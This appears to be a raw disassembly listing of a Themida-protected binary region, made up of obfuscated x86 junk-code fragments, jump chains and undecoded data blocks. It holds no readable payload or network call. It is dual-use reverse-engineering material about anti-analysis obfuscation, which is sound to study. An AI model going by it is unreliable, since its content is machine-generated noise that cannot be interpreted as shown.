		jmp	loc_550D11
; ---------------------------------------------------------------------------
aHP		db '\h~P',0
		align 4
		dd 0E9242489h, 0FFFEFAB5h, 67B9C681h, 814E09C6h, 0AF06B0F6h
		dd 0A1E6817Ah, 812D3B1Eh, 5C6B90C6h, 0F603E9F4h, 348BFFFEh
		dd 1D56E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56262A:				; CODE XREF: Themida_:00550F2Cj
		mov	esp, [esp]
		jmp	loc_5575BC
; ---------------------------------------------------------------------------
		dw 81BDh
		dd 0F754AF48h, 0DCE581DDh, 0C1648E50h, 37E908EDh, 29FFFF8Eh
		dd 348B58C3h, 4C48324h,	0B850C301h, 71D016B6h, 35A568h
		dd 943E900h, 31ADFFFFh,	3AD368D8h, 1C890000h, 0B5E95224h
		dd 89FFFF05h, 5BB9240Ch, 0E97B3E07h, 0FFFFDF7Ch, 89241489h
		dd 4C281E2h, 0E9000000h, 0FFFF3055h, 68D0015Bh,	1651h
		dd 0BA241489h, 54456835h, 0C105E2C1h, 0CA8108EAh, 33DE49BDh
		dd 0FFEA834Ah, 915EF281h, 0BA5267FEh, 0ACB2853h, 0F1E9D001h
		dd 0BBFFFF17h, 2CA81246h, 6489F381h, 0F38101CDh, 6C962EA1h
		dd 8102EBC1h, 0B16020EBh, 0E9D931A3h, 0FFFF3105h, 0E932FF64h
		dd 0FFFED12Ah, 5C240487h, 24042166h, 0D11CE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5626FA:				; CODE XREF: Themida_:0056304Cj
		pop	esi
		add	ebx, 18D77ABEh
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		xor	[ecx], eax
		jmp	loc_5636E8
; ---------------------------------------------------------------------------
		dd 0EF81D7F7h, 512302A1h, 0D80FF781h, 0B95175AAh, 0E3606E2h
		dd 0E959C829h, 0FFFEFF13h
; ---------------------------------------------------------------------------


loc_56272C:				; CODE XREF: Themida_:0055070Cj
		mov	ebp, eax
		jmp	loc_55C333
; ---------------------------------------------------------------------------


loc_562733:				; CODE XREF: Themida_:0055298Aj
		add	esi, 4
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_55D58E
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 6A632FFAh, 6ECBC781h, 0ECE97775h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562767:				; CODE XREF: Themida_:00559A9Cj
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_558030
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0DBE9E389h, 89FFFF6Fh, 2BA2414h, 50000000h, 1D0244B8h
		dd 24C3257Bh, 0E8D134DEh, 0A209E82Dh, 92B2E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56279A:				; CODE XREF: Themida_:00564852j
		mov	dh, 8Ah
		shr	dh, 5
		push	ebx
		mov	bh, 0E8h
		not	bh
		sub	bh, 0FFh
		and	bh, 5Ch
		sub	bh, 4Ch
		sub	dh, bh
		mov	ebx, [esp]
		jmp	loc_5576FC
; ---------------------------------------------------------------------------


loc_5627B7:				; CODE XREF: Themida_:0056248Cj
		push	6150h
		mov	[esp], edi
		jmp	loc_561040
; ---------------------------------------------------------------------------
		dd 468h, 60E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5627CE:				; CODE XREF: Themida_:0055D2AEj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55FFD9
; ---------------------------------------------------------------------------
		dw 0F301h
		dd 0DBBA525Eh, 0E9605467h, 0FFFF8D1Dh
; ---------------------------------------------------------------------------


loc_5627F0:				; CODE XREF: Themida_:0055E657j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 6A5D7AA4h
		sub	edi, 408C762Ch
		not	edi
		jmp	loc_55FFD2
; ---------------------------------------------------------------------------
		dw 3489h
		dd 81E68924h, 4ECh, 24048900h, 0D95826B8h, 0F182E94Ch
		dd 0E95FFFFFh, 0FFFFBD8Bh
; ---------------------------------------------------------------------------


loc_562834:				; CODE XREF: Themida_:0055C741j
		push	edx
		jmp	loc_564833
; ---------------------------------------------------------------------------
		dw 0C629h
		dd 2434FF58h, 0E23DE959h, 0F9F7FFFFh, 489868h, 13D7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562852:				; CODE XREF: Themida_:00560736j
		add	eax, 4
		jmp	loc_55B124
; ---------------------------------------------------------------------------


loc_56285C:				; CODE XREF: Themida_:0056259Bj
		xor	ebp, edx
		pop	edx
		xor	ebp, 16706860h
		jmp	loc_5625AB
; ---------------------------------------------------------------------------


loc_56286A:				; CODE XREF: Themida_:00564404j
		sub	[edi+24h], ecx
		jmp	loc_55BA2E
; ---------------------------------------------------------------------------


loc_562872:				; CODE XREF: Themida_:0055A137j
		xor	ecx, 51787378h
		push	ebx
		push	0F34ECB6Ch
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55D455
; ---------------------------------------------------------------------------


loc_562895:				; CODE XREF: Themida_:0055F686j
		or	ebp, esi
		pop	esi
		shr	ebp, 3
		push	ebx
		mov	ebx, 0C0ACFCBh
		sub	ebp, ebx
		pop	ebx
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		jmp	loc_5610BE
; ---------------------------------------------------------------------------


loc_5628B0:				; CODE XREF: Themida_:00556A07j
		push	ecx
		mov	ecx, esp
		push	edx
		push	edx
		jmp	loc_5569D0
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 0ABC467Fh, 0FF4DD3E9h, 815F54FFh, 4C7h, 5554E900h, 1C8BFFFFh
		dd 4C48324h, 611D68h, 240C8900h, 0FEF869E9h, 0B85056FFh
		dd 3B1B6B0Fh, 5504E8C1h, 113C2FBDh, 5DE82930h, 18441F0Dh
		dd 4EC8319h, 0E9242C89h, 0FFFFDB51h, 8124148Bh,	4C4h, 48E28000h
		dd 0E98FF280h, 0FFFF60B6h
; ---------------------------------------------------------------------------


loc_56291C:				; CODE XREF: Themida_:00564DEDj
		push	dword ptr [esp]
		jmp	loc_554477
; ---------------------------------------------------------------------------
		dd 3555E951h, 0EF81FFFFh, 3EE14B7Eh, 5556EF01h,	0E14B7E68h
		dd 0EE895D3Eh, 8BF7015Dh, 0DB682434h, 8900000Dh, 0E6892434h
		dd 4C681h, 0C6830000h, 24343304h, 33243431h, 3AE92434h
		dd 8900000Fh, 2CBF243Ch, 0E9773E41h, 0FFFF4860h
; ---------------------------------------------------------------------------


loc_562970:				; CODE XREF: Themida_:00552EDFj
		or	eax, edx
		pop	edx
		add	eax, 0FA8E5339h
		xor	ebp, eax
		pop	eax
		jmp	loc_554B4A
; ---------------------------------------------------------------------------


loc_562980:				; CODE XREF: Themida_:00553C53j
		pop	edi
		jmp	loc_564608
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 12C6B951h, 0C7E923FCh, 81FFFF96h, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		push	eax
		push	52352DF5h
		pop	eax
		xor	eax, 7F9D2A23h
		xchg	eax, edi
		inc	edi
		xchg	eax, edi
		jmp	loc_5618A5
; ---------------------------------------------------------------------------
		db 0B1h
		dd 66CB0060h, 9D25E959h, 0C889FFFFh, 0B103559h,	0C301454Bh
		dd 216E9h, 0C8B6600h, 4EC8324h,	54240489h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 0BBB7591h
		mov	ebx, esi
		pop	esi
		shl	ebx, 3
		jmp	loc_561F3E
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd offset dword_4CB0C8+3A0h
		dd 105CE900h, 0CE80FFFFh, 5E6C050h, 0E916F680h,	0FFFF6362h
; ---------------------------------------------------------------------------


loc_562A1C:				; CODE XREF: Themida_:00554875j
		or	esi, edx
		pop	edx
		jmp	loc_563C07
; ---------------------------------------------------------------------------
		dd 5FE6F581h, 0DDF722C9h, 2B6E9h, 57FD8700h, 5F2414F7h
		dd 0D5F7FD87h, 0FEECFBE9h, 50E952FFh, 8BFFFECFh, 0C481241Ch
		dd 4, 4C481h, 58E90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562A5B:				; CODE XREF: Themida_:00552FEBj
		pop	edx
		pop	ebp
		sub	esi, eax
		jmp	loc_56432C
; ---------------------------------------------------------------------------
		dd 241C8966h, 0FFCC6FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562A6D:				; CODE XREF: Themida_:00562C76j
		push	0E32h
		mov	[esp], esi
		pop	eax
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_55F66A
; ---------------------------------------------------------------------------
		dd 81D7F74Fh, 716075EFh, 0E34DE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562A9E:				; CODE XREF: Themida_:00557630j
		sub	ecx, 1CD13993h
		or	ecx, 462611C2h
		push	esi
		mov	esi, 1CC2378Fh
		jmp	loc_55955B
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0CEh
		dd 29AFDC19h, 0E9C15DE9h, 53C18105h, 1F9E1E7h, 48759C8h
		dd 24248B24h, 24048B66h, 73AE9h, 4C18100h, 81000000h, 4C1h
		dd 240C8700h, 542C5Ch, 535404D8h, 5266C0B7h, 0CBE9B2B6h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562AFB:				; CODE XREF: Themida_:0055FF2Ej
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		dd 59E9E289h, 81FFFF7Dh, 3F58F6E9h, 0BD55585Ch,	4A7637CDh
		dd 0E360ED81h, 93E90C21h, 0FF00001Bh, 5A042474h, 5C24048Fh
		dd 0FECCE9E9h, 524CB9FFh, 0C981555Bh, 40C74C62h, 0D103E9C1h
		dd 0C001E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B42:				; CODE XREF: Themida_:00555325j
		mov	ch, 9Ch
		shr	ch, 8
		add	ch, 7
		and	ch, 0D0h
		dec	ch
		sub	ch, 6
		jmp	loc_563AF7
; ---------------------------------------------------------------------------
		db 81h
		dd 4CC110F6h, 0FFF00191h, 835E2434h, 0EC8304C4h, 24148904h
		dd 0A10131BAh, 0F752424Ch, 815A2414h, 0FFFFFFEAh, 8EAC1FFh
		dd 0C7A7C281h, 0D001687Ch, 8324148Bh, 0D4E904C4h, 0C0FFFF41h
		dd 0D3E905E2h, 8BFFFF21h, 0C483242Ch, 0EDCDE904h, 0D889FFFFh
		dd 5E68575Bh, 0E900006Eh, 0FFFF0941h, 2474FF56h, 48F5E04h
		dd 24248B24h, 0FED6EAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562BC5:				; CODE XREF: Themida_:0055C586j
		pop	esp
		xor	edi, 0F6F10496h
		sub	eax, 5D193316h
		jmp	loc_557297
; ---------------------------------------------------------------------------


loc_562BD6:				; CODE XREF: Themida_:005636E3j
		push	ebp
		mov	ebp, 7D5F0963h
		sub	ebp, 1A067D1Ah
		jmp	loc_54FF94
; ---------------------------------------------------------------------------
		db 58h
		dd 0FF280AE9h, 242489FFh, 4240481h, 0E9000000h,	194Ah
		dd 81242C29h, 41162404h, 815D6BFEh, 2B01FDEDh, 0E9EE0114h
		dd 0FFFEE1E3h, 0E9E38953h, 0FFFFDE8Ch, 15BD989h, 240C8BCBh
		dd 0FF6980E9h, 3C77FFFFh, 9E240481h, 0FF4FF704h, 48B2434h
		dd 4C48324h, 0FFF8BBE9h, 14E958FFh, 81FFFF92h, 4D09EBF5h
		dd 0D3C58176h, 8362EE27h, 0E58101C5h, 384963CAh, 2244ED81h
		dd 44813041h, 4DF60424h, 6C013FB7h, 0E9510424h,	0FFFF8D20h
; ---------------------------------------------------------------------------


loc_562C74:				; CODE XREF: Themida_:0056004Fj
		push	edi
		pop	esi
		jmp	loc_562A6D
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFECB96h, 0E904EC83h, 0FFFF078Dh
; ---------------------------------------------------------------------------


loc_562C88:				; CODE XREF: Themida_:0055FDA1j
		pop	eax
		jmp	loc_56156C
; ---------------------------------------------------------------------------


loc_562C8E:				; CODE XREF: Themida_:00552965j
		mov	edi, ecx
		pop	ecx
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_54F8D8
; ---------------------------------------------------------------------------
		db 58h
		dd 1E1F68h, 24348900h, 33E9E689h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562CC3:				; CODE XREF: Themida_:00563040j
		pop	esi
		pop	dword ptr [esp]
		not	esi
		xchg	esi, [esp]
		jmp	loc_559AA1
; ---------------------------------------------------------------------------


loc_562CD1:				; CODE XREF: Themida_:00552833j
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 0F3CEC13Fh
		sub	eax, 16D5AAFh
		add	eax, edi
		jmp	loc_54FAEF
; ---------------------------------------------------------------------------
		db 81h
		dd 818C0DC5h, 78F9059Dh, 0E80164CDh, 0CD78F92Dh, 0E287E964h
		dd 0C481FFFEh, 4, 543CED81h, 0C5017EAAh, 6494BF57h, 0E7C11762h
		dd 90F78104h, 815A7508h, 1D0859C7h, 0AEBE5624h,	0E9551108h
		dd 207Dh, 0BA241489h, 686C538Eh, 148BD521h, 4C48124h, 0F7000000h
		dd 9CCD81D5h, 687F8439h, 6BD0h,	50241C89h, 0FFF5DFE9h
		dd 0E9E089FFh, 0FFFF567Dh, 6BC168h, 243C8900h, 0FF86BAE9h
		dd 0E4E95FFFh, 8BFFFFECh, 4CE9240Ch, 8BFFFFC7h,	8BE92414h
		dd 50FFFF70h, 16E9h, 4C48300h, 31241433h, 14332414h, 3CD25C24h
		dd 7BE99C24h, 0B8FFFECAh, 175F4090h, 0FF840CE9h, 241C33FFh
		dd 33241C31h, 248B241Ch, 7E10E924h, 0B60FFFFFh,	4E67E9C0h
		dd 3489FFFFh, 7FDBBE24h, 0DBE95966h, 53FFFFA9h,	0FF0066E9h
		dd 0FA285BFFh, 5E68665Bh, 0C89660Ch, 8029B524h,	0EA28BCEAh
		dd 66BCC280h, 80C20059h, 0E6E929C2h, 81FFFF24h,	1435AAEDh
		dd 0E9E989E7h, 0FFFEFBD8h
; ---------------------------------------------------------------------------


loc_562E00:				; CODE XREF: Themida_:00563A36j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	edi
		push	1CE01685h
		mov	edi, [esp]
		jmp	loc_560612
; ---------------------------------------------------------------------------
		dd 24048F5Ch, 0FEF3A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562E21:				; CODE XREF: Themida_:00559FB3j
		sub	esi, 0A184543h
		add	esi, 0E9AA6DB4h
		push	esi
		mov	esi, esp
		jmp	loc_55BCFF
; ---------------------------------------------------------------------------
		db 1, 0F1h, 5Eh
		dd 0FEF271E9h, 81E289FFh, 4C2h,	153EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562E4A:				; CODE XREF: Themida_:0055A3FFj
		dec	dh
		jmp	loc_5521AB
; ---------------------------------------------------------------------------


loc_562E51:				; CODE XREF: Themida_:0055802Bj
		xor	ebx, 39B313A5h
		jmp	loc_5643D3
; ---------------------------------------------------------------------------
		dd 0E91604ACh, 1F34h, 8324348Bh, 0EC8304C4h, 241C8904h
		dd 0E9E08950h, 0FFFF7FD1h, 4246C81h, 328E6361h,	0F07FE95Bh
		dd 0B252FFFEh, 5AD128D5h, 0E93AC180h, 0FFFF566Eh, 5058E528h
		dd 0F5B25266h, 5A66D088h, 6658C520h, 28000068h,	2C8A242Ch
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8702h, 0B2F5805Ch
		dd 0E959E828h, 0FFFF7E61h, 8245401h, 8246C81h, 5F4F475Fh
		dd 0FF736CE9h, 0ED815DFFh, 11CB6098h, 51BEBF57h, 4F476306h
		dd 54A7EF81h, 0E7C1154Fh, 3BC78105h, 47BC57ACh,	0F858E947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562EFE:				; CODE XREF: Themida_:00558E73j
		mov	ebx, 2F460908h
		mov	ecx, 2F46092Ch
		jmp	loc_55E446
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0D9010000h, 83241C8Bh, 0A2E904C4h
		db 0F0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562F1F:				; CODE XREF: Themida_:00563D3Fj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 49825C7Eh
		jmp	loc_55B191
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8B1C4721h, 0B8E92404h, 5BFFFEFBh, 0E924148Bh, 0FFFF8614h
		dd 81E38953h, 4C3h, 4BF5700h, 1000000h,	0CC95E9FBh, 0C781FFFEh
		dd 4, 4C781h, 3C870000h, 0C7815C24h, 735D6EA6h,	3886BD55h
		dd 0DDF76023h, 29A2BA52h, 62E928B0h, 29000010h,	0C5015FF8h
		dd 16AB6858h, 55E90000h, 66000020h, 58B551h, 5A5966E8h
		dd 240C8B66h, 0FECF3FE9h, 48F54FFh, 24048124h, 4, 0FF2757E9h
		dd 97E95AFFh, 83FFFFE4h, 148704C4h, 0D7FDE924h,	0A30FFFFFh
		dd 0E99C2404h, 0FFFEC83Eh, 8124348Bh, 4C4h, 0C1A9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562FE6:				; CODE XREF: Themida_:005537D7j
		pop	ebx
		xchg	ebx, edi
		xchg	edi, [esp]
		pop	ebx
		jmp	loc_55C2EA
; ---------------------------------------------------------------------------
		dw 8957h
		dd 0D741E9E7h, 0C681FFFFh, 4, 4EE81h, 34870000h, 14895C24h
		dd 98E95024h, 89FFFEE2h, 4C781E7h, 81000000h, 4C7h, 5A386800h
		dd 3C890000h, 2474FF24h, 48F5F04h, 0DFE95C24h
		db 0C7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563037:				; CODE XREF: Themida_:005560E4j
		shr	edi, 5
		push	edi
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_562CC3
; ---------------------------------------------------------------------------


loc_563045:				; CODE XREF: Themida_:0055F624j
		mov	esi, 0F3E2136h
		sub	ebx, esi
		jmp	loc_5626FA
; ---------------------------------------------------------------------------
		db 1, 0DAh, 5Bh
		dd 0FF5659E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563059:				; CODE XREF: Themida_:00559F28j
		mov	dl, 85h
		mov	al, 0BDh
		xor	al, dl
		pop	edx
		xor	dh, al
		pop	ax
		xor	cl, dh
		jmp	loc_551BCC
; ---------------------------------------------------------------------------


loc_56306B:				; CODE XREF: Themida_:00561C7Bj
		xor	edi, 16C9CD77h
		jmp	loc_561843
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0FF665C24h, 0E99C2404h, 0FFFEC792h, 0F781DFF7h, 0B980847Ch
		dd 0A9E95D57h, 81FFFF1Bh, 4EBh,	241C8700h, 241C895Ch, 42474FFh
		dd 5B2434FFh, 8F04C483h, 248B2404h, 0F1E95324h,	0B9FFFF11h
		dd 4F834842h, 68414949h, 129Dh,	0BE243489h, 5B7253FCh
		dd 44684E46h, 89000075h, 0BE56242Ch, 7ED7A0Bh, 0F75EF589h
		dd 0C1DDF7DDh, 0F75505EDh, 3E92414h, 0FFFF3Ch, 0E99C2404h
		dd 0FFFEC71Eh, 81E68956h, 4C6h,	4EE8100h, 0E9000000h, 1676h
; ---------------------------------------------------------------------------


loc_56310C:				; CODE XREF: Themida_:0055AAAFj
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_550524
; ---------------------------------------------------------------------------


loc_56313C:				; CODE XREF: Themida_:00559248j
		pop	esi
		push	ecx
		mov	ecx, 0
		jmp	loc_55572B
; ---------------------------------------------------------------------------
		dd 0EF81DFF7h, 208C5983h, 0FF9A23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563155:				; CODE XREF: Themida_:005506C8j
		pop	ebp
		mov	edi, [esp]
		jmp	loc_55DBDD
; ---------------------------------------------------------------------------


loc_56315E:				; CODE XREF: Themida_:00550A83j
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55FD8D
; ---------------------------------------------------------------------------
		db 81h
		dd 0D1A66EAh, 81CA0138h, 0D1A66C2h, 45C28138h, 5951F45Bh
		dd 3F0DE950h, 7431FFFFh, 4BE90424h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56319B:				; CODE XREF: Themida_:00552DECj
		xor	ebp, [esp]
		jmp	loc_55841E
; ---------------------------------------------------------------------------
aLHpl		db ',$hpL',0
		dw 8900h
		dd 8B542434h, 0C4812434h, 4, 4BF57h, 19E90000h,	68FFFF9Ah
		dd 4E3Bh, 0BA241489h, 78E2FCFh,	2FCBEA81h, 0D301078Eh
		dd 4EB815Ah, 87000000h,	895C241Ch, 74FF2414h, 1DE90424h
		dd 51FFFF38h, 3619D7B9h, 0F749497Eh, 0D9C981D1h, 811E1779h
		dd 834D70E1h, 0AEE9817Ah, 895862FFh, 6CE959C8h,	68FFFF4Bh
		dd 31B2h, 83243C89h, 8F5404ECh,	0A7E92404h, 83FFFF03h
		dd 0FF5004C0h, 58042474h, 0FEF050E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563235:				; CODE XREF: Themida_:005573F8j
		add	esp, 4
		mov	[edi+20h], edx
		jmp	loc_56219F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5DEF8900h, 0E924048Bh,	0FFFFFD9Eh, 0C281E289h
		dd 4, 0E904C283h, 0FFFF6F19h
; ---------------------------------------------------------------------------


loc_563264:				; CODE XREF: Themida_:00553DE9j
		pop	ebx
		sub	ebp, 7C6F7133h
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	3CCDh
		mov	[esp], edx
		jmp	loc_561C5E
; ---------------------------------------------------------------------------


loc_563283:				; CODE XREF: Themida_:0055ABC1j
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 0DCF3B12h
		not	edi
		or	edi, 1B971968h
		sub	edi, 0FBB7DDE9h
		jmp	loc_5633B3
; ---------------------------------------------------------------------------


loc_5632A8:				; CODE XREF: Themida_:0055DFEFj
		push	54773D1Bh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_561171
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 4247C01h,	0FF44FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5632C9:				; CODE XREF: Themida_:0055FF1Dj
		pop	esi
		jmp	loc_556C93
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	348704EEh, 34895C24h, 705CBE24h
		dd 0BD55663Ch, 263C436Ah, 0E581D5F7h, 5B4D44DFh, 628FED81h
		dd 0ED81548Fh, 0C1123805h, 835DEE21h, 0C4E904ECh, 9FFFECDh
		dd 0EAC159CAh, 0C3CA8105h, 4A610D63h, 0FBF2EA81h, 0C381617Fh
		dd 61EF13A0h, 0EB81D301h, 61EF13A0h, 8324148Bh,	0EB8104C4h
		dd 4, 0CF7E9h, 25F38000h, 285BDA00h, 2434FFD0h,	4C4835Ah
		dd 0E952D828h, 0FFFEDD66h
; ---------------------------------------------------------------------------


loc_563354:				; CODE XREF: Themida_:005643D5j
		pop	ebx
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	3797h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	49CAh
		mov	[esp], ecx
		push	edi
		mov	edi, 562F3251h
		jmp	loc_55AF85
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 35933BF0h, 0CD74C181h, 0CE01CFECh, 0FEF3ADE9h, 0D830ACFFh
		dd 0B3535051h, 5BD88861h, 0F658C588h, 0F6FD86DDh, 515266DFh
		dd 18E9FD88h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5633B3:				; CODE XREF: Themida_:005632A3j
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		push	esi
		jmp	loc_55C5B5
; ---------------------------------------------------------------------------
		dd 2CB1BA52h, 0D2F776F9h, 0FEE385E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5633E1:				; CODE XREF: Themida_:0055DE43j
		add	edi, 4
		sub	edi, 4
		push	62D5h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	0EF3h
		jmp	loc_55BDE7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC812424h, 4, 0FF240C89h, 0E9042474h, 0FFFF917Dh, 0FEC3F1E9h
		dd 9C5166FFh, 0FEC3E9E9h, 2F9E68FFh, 9DE90000h,	56FFFFBCh
		dd 0E4023BBEh, 5EF23115h, 0FFCCE5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563445:				; CODE XREF: Themida_:005508CFj
		sub	esp, 4
		jmp	loc_5591F3
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 411589Dh, 0BBE99C24h, 8FFFFEC3h, 9CE92404h, 81FFFF92h
		dd 0CD56C4C1h, 0BB91E963h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56346E:				; CODE XREF: Themida_:005579F9j
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		sub	edx, 7F3B38B0h
		pop	edi
		sub	ebp, edx
		pop	edx
		push	ebp
		jmp	loc_550A7F
; ---------------------------------------------------------------------------
		db 1, 0EFh, 81h
		dd 0E74450EFh, 8ABBE943h, 0E1C1FFFFh, 0B0BE5606h, 31810B59h
		dd 24348BF1h, 4C481h, 0B9510000h, 2785636Ch, 68E1F181h
		dd 0E98140C0h, 0EB4A87DDh, 8159CA89h, 2C52E5EAh, 81CA296Ah
		dd 2C52E5C2h, 2434FF6Ah, 4C48359h, 5A1C5709h, 0FF7077E9h
		dd 4C583FFh, 31242C33h,	72E9242Ch, 0BBFFFFDDh, 61845607h
		dd 8104EBC1h, 79FAF1EBh, 5BDE29CFh, 0F6814E46h,	620FA460h
		dd 0ECE9F709h, 58FFFEE8h, 0FFFF4AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563511:				; CODE XREF: Themida_:0054FF95j
		sub	ebp, 2B8665B4h
		xor	ebx, ebp
		pop	ebp
		jmp	loc_561400
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 3B466824h, 81591C70h, 0B83527C9h,	0DFE9811Fh
		dd 55B21ECCh, 0EE89CD89h, 0E9242C8Bh, 0FFFFDCA1h, 4C781h
		dd 0EF830000h, 243C8704h, 2999E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563556:				; CODE XREF: Themida_:005506FDj
		pop	ebx
		pop	ecx
		push	bx
		jmp	loc_556968
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 0CCD4E95Dh, 3C8BFFFFh, 4C48324h, 0B73B632Dh, 1EE95F60h
		dd 66FFFF60h, 6622A02Dh, 6658C389h, 0E900DE68h,	0FFFFF4D8h
; ---------------------------------------------------------------------------


loc_56358C:				; CODE XREF: Themida_:00554490j
		pop	ebp
		jmp	loc_55BF48
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 0DA3DE924h, 0C181FFFFh, 36C50482h, 0F04C181h, 0E95A108Ch
		dd 0FFFF5ECDh, 9D1C77FFh, 24041958h, 0C25CE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5635BA:				; CODE XREF: Themida_:00556744j
		mov	edx, [esp]
		push	ebp
		jmp	loc_557BE2
; ---------------------------------------------------------------------------
		db 81h
		dd 0DA12EDF2h, 71E2816Ah, 81398567h, 234596C2h,	81DAF773h
		dd 966490EAh, 9BC2811Ah, 1963F0Bh, 21685AD6h, 8900001Eh
		dd 37B9240Ch, 8125255Eh, 0DAA1CBC1h, 0FFCE01DAh, 51592434h
		dd 0C181E189h, 4, 60BE68h, 243C8900h, 0B06851h,	66E937AFh
		dd 5EFFFEFFh, 6B1DCE81h, 0EEC17CFDh, 0ECE68102h, 813E666Ah
		dd 8AFFCDC6h, 0EA7EE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


